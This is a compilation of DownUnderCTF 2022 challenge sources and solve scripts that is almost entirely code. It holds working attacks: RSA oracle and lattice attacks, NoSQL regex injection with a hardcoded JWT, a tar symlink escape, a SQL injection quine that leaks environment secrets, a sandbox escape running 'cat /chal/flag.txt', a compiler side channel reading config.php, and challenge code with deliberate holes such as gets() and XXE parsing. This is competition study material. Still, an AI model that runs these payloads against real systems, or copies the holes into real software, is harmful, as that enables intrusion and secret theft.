DownUnderCTF 2022 Writeups

from z3 import *


class baby_arx:
    def __init__(self, key):
        assert len(key) == 64
        self.state = list(key)

    def b(self):
        b1 = self.state[0]
        b2 = self.state[1]
        b1 = b1 ^ ((b1 << 1) | (b1 & 1))
        b2 = b2 ^ (LShR(b2, 5) | (b2 << 3))
        b = b1 + b2
        self.state = self.state[1:] + [b]
        return b

    def stream(self, n):
        return [self.b() for _ in range(n)]


ct = bytes.fromhex(
    "cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b"
)

key = [BitVec(f"key{i}", 8) for i in range(64)]
sol = Solver()
out = baby_arx(key).stream(64)
for x, y in zip(out, ct):
    sol.add(x == y)
for x, y in zip(key, b"DUCTF{"):
    sol.add(x == y)
for x in key:
    sol.add(And(x >= 20, x <= 127))
assert sol.check() == sat
m = sol.model()
key = [m[k].as_long() for k in key]
print(bytes(key))
# DUCTF{i_d0nt_th1nk_th4ts_h0w_1t_w0rks_actu4lly_92f45fb961ecf420}

#!/usr/bin/env python3

from os import urandom, path
from Crypto.Cipher import AES


FLAG = open(path.join(path.dirname(__file__), 'flag.txt'), 'r').read().strip()
MESSAGE = f'Decrypt this... {urandom(300).hex()} {FLAG}'


def main():
    key = urandom(16)
    for _ in range(2):
        iv = bytes.fromhex(input('iv: '))
        aes = AES.new(key, iv=iv, mode=AES.MODE_OFB)
        ct = aes.encrypt(MESSAGE.encode())
        print(ct.hex())


if __name__ == '__main__':
    main()

from pwn import *


def xor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])


def blocks(x, n):
    return [x[i : i + n] for i in range(0, len(x), n)]


prefix = b"Decrypt this... "[:16]

# io = process(["python", "ofb.py"])
io = remote("2022.ductf.dev", 30009)
io.sendlineafter(b"iv: ", (b"\x00" * 16).hex().encode())
ct1 = bytes.fromhex(io.recvlineS().strip())
io.sendlineafter(b"iv: ", xor(prefix, ct1).hex().encode())
ct2 = bytes.fromhex(io.recvlineS().strip())

enc1 = blocks(ct1, 16)
enc2 = blocks(ct2, 16)
pt = prefix
for x, y in zip(enc2, enc1[1:]):
    pt += xor(xor(x, pt[-16:]), y)
print(pt)
# DUCTF{0fb_mu5t_4ctu4lly_st4nd_f0r_0bvi0usly_f4ul7y_bl0ck_c1ph3r_m0d3_0f_0p3ra710n_7b9cb403e8332c980456b17a00abd51049cb8207581c274fcb233f3a43df4a}

p = 55899879511190230528616866117179357211
V = GF(p)^3
R.<x> = PolynomialRing(GF(p))
f = x^3 + 36174005300402816514311230770140802253*x^2 + 35632245244482815363927956306821829684*x + 10704085182912790916669912997954900147
Q = R.quotient(f)

def V_pow(A, n):
    return V([a^n for a in list(A)])

n, m = randint(1, p), randint(1, p)
A = Q.random_element()
B = Q.random_element()
C = A^n * B^m

print(' '.join(map(str, list(A))))
print(' '.join(map(str, list(B))))
print(' '.join(map(str, list(C))))

phi_A = V(list(map(int, input().split())))
phi_B = V(list(map(int, input().split())))
phi_C = V(list(map(int, input().split())))

check_phi_C = V_pow(phi_A, n).pairwise_product(V_pow(phi_B, m))

if phi_C == check_phi_C:
    print(open('./flag.txt', 'r').read().strip())

#!/usr/bin/env python3

import signal, time
from os import urandom, path
from Crypto.Util.number import getPrime, bytes_to_long


FLAG = open(path.join(path.dirname(__file__), 'flag.txt'), 'r').read().strip()

N_BITS = 384
TIMEOUT = 10 * 60
MAX_INTERVALS = 384
MAX_QUERIES = 384


def main():
    p, q = getPrime(N_BITS//2), getPrime(N_BITS//2)
    N = p * q
    e = 0x10001
    d = pow(e, -1, (p - 1) * (q - 1))

    secret = bytes_to_long(urandom(N_BITS//9))
    c = pow(secret, e, N)

    print(N)
    print(c)

    intervals = []
    queries_used = 0

    while True:
        print('1. Add interval\n2. Request oracle\n3. Get flag')
        choice = int(input('> '))

        if choice == 1:
            if len(intervals) >= MAX_INTERVALS:
                print('No more intervals allowed!')
                continue

            lower = int(input(f'Lower bound: '))
            upper = int(input(f'Upper bound: '))
            intervals.insert(0, (lower, upper))

        elif choice == 2:
            queries = input('queries: ')
            queries = [int(c.strip()) for c in queries.split(',')]
            queries_used += len(queries)
            if queries_used > MAX_QUERIES:
                print('No more queries allowed!')
                continue

            results = []
            for c in queries:
                m = pow(c, d, N)
                for i, (lower, upper) in enumerate(intervals):
                    in_interval = lower < m < upper
                    if in_interval:
                        results.append(i)
                        break
                else:
                    results.append(-1)

            print(','.join(map(str, results)), flush=True)

            time.sleep(MAX_INTERVALS * (MAX_QUERIES // N_BITS - 1))
        elif choice == 3:
            secret_guess = int(input('Enter secret: '))
            if secret == secret_guess:
                print(FLAG)
            else:
                print('Incorrect secret :(')
            exit()

        else:
            print('Invalid choice')


if __name__ == '__main__':
    signal.alarm(TIMEOUT)
    main()

from pwn import *


# context.log_level = 'debug'
# io = process(["python", "rsa-interval-oracle-i.py"])
io = remote("2022.ductf.dev", 30008)
e = 0x10001
n = int(io.recvline())
c = int(io.recvline())


l = -1
r = 2**336
while l + 1 < r:
    m = (l + r) // 2
    print(l, r)
    io.sendafter(b"> ", f"1\n{l}\n{m+1}\n".encode())
    io.sendafter(b"> ", f"2\n{c}\n".encode())
    res = int(io.recvline().split(b": ")[1])
    if res == 0:
        r = m
    else:
        l = m
for x in range(l, r + 1):
    if pow(x, e, n) == c:
        io.sendafter(b"> ", b"3\n")
        io.sendline(str(x).encode())
        io.interactive()
        break
# DUCTF{d1d_y0u_us3_b1n4ry_s34rch?}

from pwn import *
import gmpy2


def pow(a, b, c):
    return int(gmpy2.powmod(a, b, c))


def attempt():
    # context.log_level = 'debug'
    # io = process(["python", "rsa-interval-oracle-ii.py"])
    io = remote("2022.ductf.dev", 30011)
    e = 0x10001
    n = int(io.recvline())
    c = int(io.recvline())

    k = 48
    B = 1 << (8 * k - 8)
    io.sendafter(b"> ", f"1\n-1\n{B}\n".encode())

    def oracle(c):
        io.sendafter(b"> ", f"2\n{c}\n".encode())
        return int(io.recvline().split(b": ")[1]) != -1

    def Manger_Attack(c):
        f1 = 2
        while True:
            val = (pow(f1, e, n) * c) % n
            if oracle(val):
                f1 = 2 * f1
            else:
                break
        print("first")
        f12 = f1 // 2
        f2 = ((n + B) // B) * f12
        while True:
            val = (pow(f2, e, n) * c) % n
            if oracle(val):
                break
            else:
                f2 += f12
        print("second")
        m_min = (n + f2 - 1) // f2
        m_max = (n + B) // f2
        # note the ERRATA from https://github.com/GDSSecurity/mangers-oracle
        while m_min < m_max:
            f_tmp = (2 * B) // (m_max - m_min)
            I = (f_tmp * m_min) // n
            f3 = (I * n + m_min - 1) // m_min
            val = (pow(f3, e, n) * c) % n
            if oracle(val):
                m_max = (I * n + B) // f3
            else:
                m_min = (I * n + B + f3 - 1) // f3
        return m_min

    try:
        res = Manger_Attack(c)
        print(res)
        io.sendafter(b"> ", b"3\n")
        io.sendline(str(res).encode())
        print(io.recvlineS())
        return True
    except:
        return False


while not attempt():
    pass
# DUCTF{Manger_w0uld_b3_pr0ud_0f_y0u}

from pwn import process, remote, context
import random
from Crypto.Util.number import sieve_base


N_BITS = 384
TIMEOUT = 3 * 60
MAX_INTERVALS = 4
MAX_QUERIES = 4700
B = 1 << (N_BITS // 9 * 8)


def connect():
    # context.log_level = 'debug'
    # io = process(["python", "rsa-interval-oracle-iii.py"])
    io = remote("2022.ductf.dev", 30010)
    e = 0x10001
    N = int(io.recvline())
    c = int(io.recvline())
    ar = []
    lb = []
    ub = []
    intervals = [
        (0, 2 ** (N_BITS - 11)),
        (0, 2 ** (N_BITS - 10)),
        (0, 2 ** (N_BITS - 9)),
        (0, 2 ** (N_BITS - 8)),
    ]
    for lb, ub in intervals[::-1]:
        io.sendafter(b"> ", f"1\n{lb}\n{ub}\n".encode())

    # cand = [random.randint(1, N) for _ in range(4700)]
    cand = [power_mod(pr, -1, N) for pr in sieve_base[:4700]]
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"queries: ", ",".join([str(c*power_mod(a,e,N)%N) for a in cand]).encode())
    res = list(map(int, io.recvlineS().strip().split(",")))
    ar = []
    lb = []
    ub = []
    for a, r in zip(cand, res):
        if r != -1:
            ar.append(a)
            lb.append(intervals[r][0])
            ub.append(intervals[r][1])
    return io, (ar, lb, ub), (N, e, c)


while True:
    io, (ar, lb, ub), (N, e, c) = connect()
    print(len(ar))
    if len(ar) < 45:
        print("again")
        io.close()
        continue
    if len(ar) > 60:
        ar = ar[:60]
        lb = lb[:60]
        ub = ub[:60]
    load("solver.sage")
    M = matrix(ar).stack(matrix.identity(len(ar)) * N)
    M = matrix([1] + len(ar) * [0]).T.augment(M)
    _, _, fin = solve(M, [0] + lb, [B] + ub)
    secret = fin[0]
    print(secret)
    if power_mod(secret, e, N) != c:
        print("QAQ")
        io.close()
        continue
    io.sendafter(b"> ", b"3\n")
    io.sendline(str(secret).encode())
    print(io.recvlineS())
    break
# DUCTF{rsa_1nt3rv4l_0r4cl3_1s_n0_m4tch_f0r_y0u!}

from hashlib import sha256
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES


ct = bytes.fromhex('85534f055c72f11369903af5a8ac64e2f4cbf27759803041083d0417b5f0aaeac0490f018b117dd4376edd6b1c15ba02')


p = 275344354044844896633734474527970577743
a = [2367876727, 2244612523, 2917227559, 2575298459, 3408491237, 3106829771, 3453352037]
α = [843080574448125383364376261369231843, 1039408776321575817285200998271834893, 712968634774716283037350592580404447, 1166166982652236924913773279075312777, 718531329791776442172712265596025287, 766989326986683912901762053647270531, 985639176179141999067719753673114239]


def f(n):
    if n < len(α):
        return α[n]

    n -= len(α) - 1
    t = α[::-1]
    while n > 0:
        x = sum([a_ * f_ for a_, f_ in zip(a, t)]) % p
        t = [x] + t[:-1]
        n -= 1

    return t[0]


n = 2**(2**1337)
key = sha256(str(f(n)).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
flag = unpad(aes.decrypt(ct), 16)
print(flag.decode())

p = 275344354044844896633734474527970577743
a = [2367876727, 2244612523, 2917227559, 2575298459, 3408491237, 3106829771, 3453352037]
alpha = [
    843080574448125383364376261369231843,
    1039408776321575817285200998271834893,
    712968634774716283037350592580404447,
    1166166982652236924913773279075312777,
    718531329791776442172712265596025287,
    766989326986683912901762053647270531,
    985639176179141999067719753673114239,
]


def f(n):
    if n < len(alpha):
        return alpha[n]

    n -= len(alpha) - 1
    t = alpha[::-1]
    while n > 0:
        x = sum([a_ * f_ for a_, f_ in zip(a, t)]) % p
        t = [x] + t[:-1]
        n -= 1
    return t[0]


K = GF(p)
M = matrix(K, a).stack(matrix.identity(len(a)))[:-1]


def f2(n):
    if n < len(alpha):
        return alpha[n]
    # return (M ^ (n - 6) * vector(alpha[::-1]))[0]
    return (M ^ n * vector(alpha[::-1]))[-1]


assert f(87) == f2(87)

# this works because the max prime factor of p-1 is 68 bits:
# od = M.multiplicative_order()
# od = 5747840427578934579418402212446804534742054912959507472646427706581721672984212149543182307880849869521914657360442377375504061940654295742621914326868064

# you can use this too: https://math.stackexchange.com/questions/34271/order-of-general-and-special-linear-groups-over-finite-fields
od = product([p ^ 7 - p ^ i for i in range(7)])
n = power_mod(2, 2**1337, od)

from hashlib import sha256
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES

ct = bytes.fromhex(
    "85534f055c72f11369903af5a8ac64e2f4cbf27759803041083d0417b5f0aaeac0490f018b117dd4376edd6b1c15ba02"
)
key = sha256(str(f2(n)).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
flag = unpad(aes.decrypt(ct), 16)
print(flag.decode())
# DUCTF{p4y_t0_w1n_91ea0a7b4b688fc8}

from pwn import process, remote, context
import random
from Crypto.Util.number import sieve_base


N_BITS = 384
TIMEOUT = 3 * 60
MAX_INTERVALS = 4
MAX_QUERIES = 4700
B = 1 << (N_BITS // 9 * 8)


def connect():
    # context.log_level = 'debug'
    # io = process(["python", "rsa-interval-oracle-iv.py"])
    io = remote("2022.ductf.dev", 30030)
    e = 0x10001
    N = int(io.recvline())
    c = int(io.recvline())
    ar = []
    lb = []
    ub = []

    # cand = [random.randint(1, N) for _ in range(4700)]
    cand = [power_mod(pr, -1, N) for pr in sieve_base[:4700]]
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(
        b"queries: ", ",".join([str(c * power_mod(a, e, N) % N) for a in cand]).encode()
    )
    res = list(map(int, io.recvlineS().strip().split(",")))
    intervals = [
        (0, 2 ** (N_BITS - 11)),
        (0, 2 ** (N_BITS - 10)),
        (0, 2 ** (N_BITS - 9)),
        (0, 2 ** (N_BITS - 8)),
    ]
    ar = []
    lb = []
    ub = []
    for a, r in zip(cand, res):
        if r != -1:
            ar.append(a)
            lb.append(intervals[r][0])
            ub.append(intervals[r][1])
    return io, (ar, lb, ub), (N, e, c)


while True:
    io, (ar, lb, ub), (N, e, c) = connect()
    print(len(ar))
    if len(ar) < 50:
        print("again")
        io.close()
        continue
    if len(ar) > 60:
        ar = ar[:60]
        lb = lb[:60]
        ub = ub[:60]
    load("solver.sage")
    M = matrix(ar).stack(matrix.identity(len(ar)) * N)
    M = matrix([1] + len(ar) * [0]).T.augment(M)
    _, _, fin = solve(M, [0] + lb, [B] + ub)
    secret = fin[0]
    print(secret)
    if power_mod(secret, e, N) != c:
        print("QAQ")
        io.close()
        continue
    io.sendafter(b"> ", b"3\n")
    io.sendline(str(secret).encode())
    print(io.recvlineS())
    break
# DUCTF{rsa_1nt3rv4l_0r4cl3_1s_s3ri0usly_n0_m4tch_f0r_y0u...94b2a797eb5e0105}

def findInternalFilepath(filename):
    try:
        prop = None
        parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
        tree = etree.parse(filename, parser=parser)
        root = tree.getroot()
        internalNode = root.find(".//{http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac}absPath")
        if internalNode != None:
            prop = {
                "Fieldname":"absPath",
                "Attribute":internalNode.attrib["url"],
                "Value":internalNode.text
            }
        return prop

    except Exception:
        print("couldnt extract absPath")
        return None

import httpx
import asyncio
import string

jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2MzJkYjI1YzQ0NGQ0OGYzNzUwYmM0ODQiLCJpYXQiOjE2NjQwMDQyNTYsImV4cCI6MTY2NDYwOTA1Nn0.eFQkc7bXY95xx5OZayHPUupBV7QEcxYcWbUGDxlT2N0"
chs = string.ascii_lowercase + string.digits + "{_}"


async def check_flag(h, rgx):
    r = await h.post(
        "/edit",
        params={"noteId": 1337, "contents[$regex]": rgx},
        json={"contents": {"length": 201}},
    )
    return "You are not the owner of this note!" == r.json()["error"]


async def main():
    async with httpx.AsyncClient(
        base_url="https://web-noteworthy-873b7c844f49.2022.ductf.dev/", cookies={"jwt": jwt}, http2=True
    ) as h:
        flag = "DUCTF{"
        while not flag.endswith("}"):
            res = await asyncio.gather(*[check_flag(h, flag + c) for c in chs])
            for c, r in zip(chs, res):
                if r:
                    flag += c
                    print(flag)
                    break


asyncio.run(main())
# DUCTF{n0sql1_1s_th3_new_5qli}

import tarfile
import io

with tarfile.open("./out.tar", "w") as tar:
    hello = tarfile.TarInfo("hello")
    hello.type = tarfile.DIRTYPE
    hello.mode = 0o300  # not readable, so glob won't be able to find the symlink
    tar.addfile(hello)

    world = tarfile.TarInfo("world")  # to leak folder name
    world.type = tarfile.REGTYPE
    world.mode = 0o400
    world.size = 5
    tar.addfile(world, io.BytesIO(b"world"))

    link = tarfile.TarInfo("hello/link")
    link.type = tarfile.SYMTYPE
    link.mode = 0o400
    link.linkname = "/flag"
    tar.addfile(link)
# DUCTF{are_symlinks_really_worth_the_trouble_they_cause?????}

from flask import Flask, request
import textwrap
import sqlite3
import os
import hashlib

assert len(os.environ['FLAG']) > 32

app = Flask(__name__)

@app.route('/', methods=['POST'])
def root_post():
    post = request.form
    
    # Sent params?
    if 'username' not in post or 'password' not in post:
        return 'Username or password missing from request'

    # We are recreating this every request
    con = sqlite3.connect(':memory:')
    cur = con.cursor()
    cur.execute('CREATE TABLE users (username TEXT, password TEXT)')
    cur.execute(
        'INSERT INTO users VALUES ("admin", ?)',
        [hashlib.md5(os.environ['FLAG'].encode()).hexdigest()]
    )
    output = cur.execute(
        'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'
        .format(post=post)
    ).fetchone()
    
    # Credentials OK?
    if output is None:
        return 'Wrong credentials'
    
    # Nothing suspicious?
    username, password = output
    if username != post["username"] or password != post["password"]:
        return 'Wrong credentials (are we being hacked?)'
    
    # Everything is all good
    return f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)

@app.route('/', methods=['GET'])
def root_get():
    return textwrap.dedent('''
       <html>
         <head></head>
         <body>
           <form action="/" method="post">
             <p>Welcome to admin panel!</p>
             <label for="username">Username:</label>
             <input type="text" id="username" name="username"><br><br>
             <label for="password">Password:</label>
             <input type="text" id="password" name="password"><br><br>
             <input type="submit" value="Submit">
          </form> 
         </body>
       </html>
    ''').strip()

import os
import sqlite3
import hashlib

os.environ["FLAG"] = "test_flag"
# sqli quine modified from https://github.com/splitline/My-CTF-Challenges/blob/049b591445b2ab902a6fdefa2382d44ef9f5af50/ais3-eof/2020-quals/Web/CYBERPUNK1977/exploit/solution.py#L23-L30
# request.form is ImmutableMultiDict
username = "{post.copy.__globals__[os].environ[FLAG]}"
fmt_leak = "||".join([f"CHAR({hex(ord(x))})" for x in username])
# fmt_leak = "CHAR(0x61)||CHAR(0x62)||CHAR(0x63)||CHAR(0x64)"
query = f"'UNION SELECT '{fmt_leak}',substr(query,1,###)||X'22'||query||X'22'||substr(query,@@@)"
query = f"\"'UNION SELECT {fmt_leak},substr(query,1,###)||char(0x22)||query||char(0x22)||substr(query,@@@)"
query = f"\"'UNION SELECT {fmt_leak},replace(substr(query,1,###),char(0x5c)||char(0x27),char(0x22)||char(0x27))||char(0x22)||query||char(0x22)||substr(query,@@@)"
query = f"\"'UNION SELECT {fmt_leak},replace(  replace(substr(query,1,###),char(0x5c)||char(0x27),char(0x22)||char(0x27))||char(0x22)||query||char(0x22)||substr(query,@@@), char(0x22)||char(0x5c),char(0x20)||char(0x22))"
payload = f"""
{query} FROM(SELECT {query} FROM(SELECT as query)--" as query)--
""".strip()  # .replace(" ", "/**/")
offset = payload.index(' "\x27UNION')  # start of `query`
payload = payload.replace("###", str(offset)).replace("@@@", str(offset + 1))

post = {"username": username, "password": payload}

con = sqlite3.connect(":memory:")
cur = con.cursor()
cur.execute("CREATE TABLE users (username TEXT, password TEXT)")
cur.execute(
    'INSERT INTO users VALUES ("admin", ?)',
    [hashlib.md5(os.environ["FLAG"].encode()).hexdigest()],
)
sql = "SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}".format(
    post=post
)
print(sql)
output = cur.execute(sql).fetchone()
print()
print(output[0])
print(output[1])
print()
print(post["username"])
print(post["password"])
print()
assert output[0] == post["username"]
assert output[1] == post["password"]

import requests

print(
    requests.post("https://web-sqli2022-85d13aec009e.2022.ductf.dev/", data=post).text
)
# DUCTF{alternative_solution_was_just_to_crack_the_hash_:p}

def check_java_is_valid(folder)->bool:
    class_files = list_files(folder, allowed_ext=".java")

    temp_output = os.path.join("/", "tmp", "java", os.urandom(8).hex())
    os.makedirs(temp_output, exist_ok=True)
    old_cwd = os.getcwd()
    os.chdir(folder)

    # Using subprocess.run prevents any command injection students could exploit
    try:
        returned_code = subprocess.run(["/usr/bin/javac", "-d", temp_output]+class_files)
    except:
        return False
    finally:
        os.chdir(old_cwd)
    
    return returned_code == 0

with open('/flag.txt', 'rb') as f:
    FLAG = int.from_bytes(f.read().strip(), byteorder='big')

assert FLAG < 2**1024

while True:
    print("Enter your number:")
    
    try:
        n = FLAG * int(input("> "))
        print("Your digit is:", str(n)[-1])
    except ValueError:
        print("Not a valid number! >:(")

from pwn import *

# io = process(["python", "last-digit.py"])
io = remote("2022.ductf.dev", 30003)

# CVE-2020-10735 lmao
# https://docs.python.org/release/3.10.7/whatsnew/3.10.html#notable-security-feature-in-3-10-7
B = 10**4300


def oracle(x):
    global io
    try:
        io.sendlineafter(b">", str(x).encode())
        return b"Your digit" in io.recvline()
    except:
        io = remote("2022.ductf.dev", 30003)
        return oracle(x)


l = 0
r = 1 << 1024
while l < r:
    print((l - r).bit_length())
    m = (l + r) // 2
    if oracle(B // m):
        r = m
    else:
        l = m + 1
print(l)
print(r)
print(l.to_bytes(128, "big"))
# CTF{14288_bits_should_be_enough_for_anybody_:)}

#!/usr/bin/env python3

import subprocess
import sys
import tempfile

print("Welcome to the Python syntax checking service!")
print("The safest code is the code you don't even execute.")
print("Enter your code. Write __EOF__ to end.")

code = b"exit(0)\n"
for line in sys.stdin.buffer:
    if line.strip() == b"__EOF__":
        break
    code += line

with tempfile.NamedTemporaryFile() as sandbox:
    sandbox.write(code)
    sandbox.flush()
    pipes = subprocess.Popen(["python3", sandbox.name], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    _, stderr = pipes.communicate()
    if pipes.returncode == 0:
        print("Syntax OK!") 
    else:
        print("There was an error:")
        print(stderr.decode())

import sys
import os
print(os.popen('cat /chal/flag.txt').read(), file=sys.stderr)
exit(1)
# DUCTF{next_time_ill_just_use_ast.parse}

import subprocess
import requests

# based on https://rpis.ec/blog/hxp-26c3-ctf-compilerbot/

payload = r"""
__asm__ (
    // create a section of N bytes
    ".pushsection .foo\n"
    ".rept __GUESS__\n"
    ".byte 0xFF\n"
    ".endr\n"
    ".popsection\n"
    
    // create a relocation that tries to modify our section at some offset
    // based on a single byte of the flag; if it is out of bounds then the
    // linker will error
    ".pushsection .rela.foo\n"
    ".align 1\n"

    // offset into .foo -- must not overflow !
    ".incbin \"config.php\", __OFFSET__, 1\n"
    ".rept 7\n"
    ".byte 0\n"
    ".endr\n"

    ".quad 0x000000000000000E\n" // type of reloc: R_X86_64_8
    ".quad 0x0000000000000001\n" // value to add at that offset
    ".popsection\n"
);
"""

def try_compile(code):
    code = "int main() { " + code + " }"
    sub = subprocess.Popen(
        ["gcc", "-Werror", "-x", "c", "-o", "/dev/null", "-"],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
    )
    stdout, _ = sub.communicate(code.encode())
    return sub.returncode == 0 and stdout.strip() == b""


def try_compile(code):
    code = "int main() { " + code + " }"
    code += """
void dummy(){
    for(int i=0;i<100;i++){}
}
struct LOL{};
"""
    # r = requests.post("http://localhost:8000/", data={"code": code}).text
    r = requests.post(
        "https://misc-i-c-u-php-16347326eb82.2022.ductf.dev", data={"code": code}
    ).text
    suc = "You passed!" in r
    return suc


# test first
code = payload
code = code.replace(r'".incbin \"config.php\", __OFFSET__, 1\n"', r'".byte 0x20\n"')
code = code.replace("__GUESS__", "128")
assert try_compile(code)


# linear search
# flag = ""
# starti = 1100
# for flag_offset in range(starti, starti + 10):
#     for guess in range(0x20, 0x7F):
#         code = payload
#         code = code.replace("__GUESS__", str(guess))
#         code = code.replace("__OFFSET__", str(flag_offset))
#         if try_compile(code):
#             flag += chr(guess - 1)
#             print(flag)
#             break
#     else:
#         # no guess worked, maybe end of the flag
#         break

# binary search
flag = ""
starti = 1100
for flag_offset in range(starti, starti + 100):
    l = 0x20
    r = 0x7F
    while l + 1 < r:
        m = (l + r) // 2
        code = payload
        code = code.replace("__GUESS__", str(m))
        code = code.replace("__OFFSET__", str(flag_offset))
        if try_compile(code):
            r = m
        else:
            l = m
    flag += chr(l)
    print(flag)
# DUCTF{pr3pr0c3ssOrPoWer3dPHPpEEk1ngPuzZLe_2b842b}

# fmt: off
ar = [0xc4, 0xda, 0xc5, 0xdb, 0xce, 0x80, 0xf8, 0x3e, 0x82, 0xe8, 0xf7, 0x82, 0xef, 0xc0, 0xf3, 0x86, 0x89, 0xf0, 0xc7, 0xf9, 0xf7, 0x92, 0xca, 0x8c, 0xfb, 0xfc, 0xff, 0x89, 0xff, 0x93, 0xd1, 0xd7, 0x84, 0x80, 0x87, 0x9a, 0x9b, 0xd8, 0x97, 0x89, 0x94, 0xa6, 0x89, 0x9d, 0xdd, 0x94, 0x9a, 0xa7, 0xf3, 0xb2]
# fmt: on
print(bytes([(x ^ 0x42) - 0x42 - i for i, x in enumerate(ar)]))
# DUCTF{r3v_is_3asy_1f_y0u_can_r34d_ass3mbly_r1ght?}

from base64 import b64decode as g

f = bytes.fromhex
flag = b""
flag += g(g("UkZWRFZFWT0="))
flag += g(g("ZXc9PQ=="))
flag += g(g(f("576B64736131677A62485A6B55543039")))
flag += g(g(f("57444E57656C70574F44303D")))
flag += g(g(f("57565935565646575453383D")))
flag += b"_ZGVhZGIzM2ZjYWZl"
flag += g(g("ZlE9PQ=="))
print(flag)
# DUCTF{did_you_use_a_TAS?_ZGVhZGIzM2ZjYWZl}

#!/usr/bin/env python3

from ctypes import CDLL, c_buffer
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
buf1 = c_buffer(512)
buf2 = c_buffer(512)
libc.gets(buf1)
if b'DUCTF' in bytes(buf2):
    print(open('./flag.txt', 'r').read())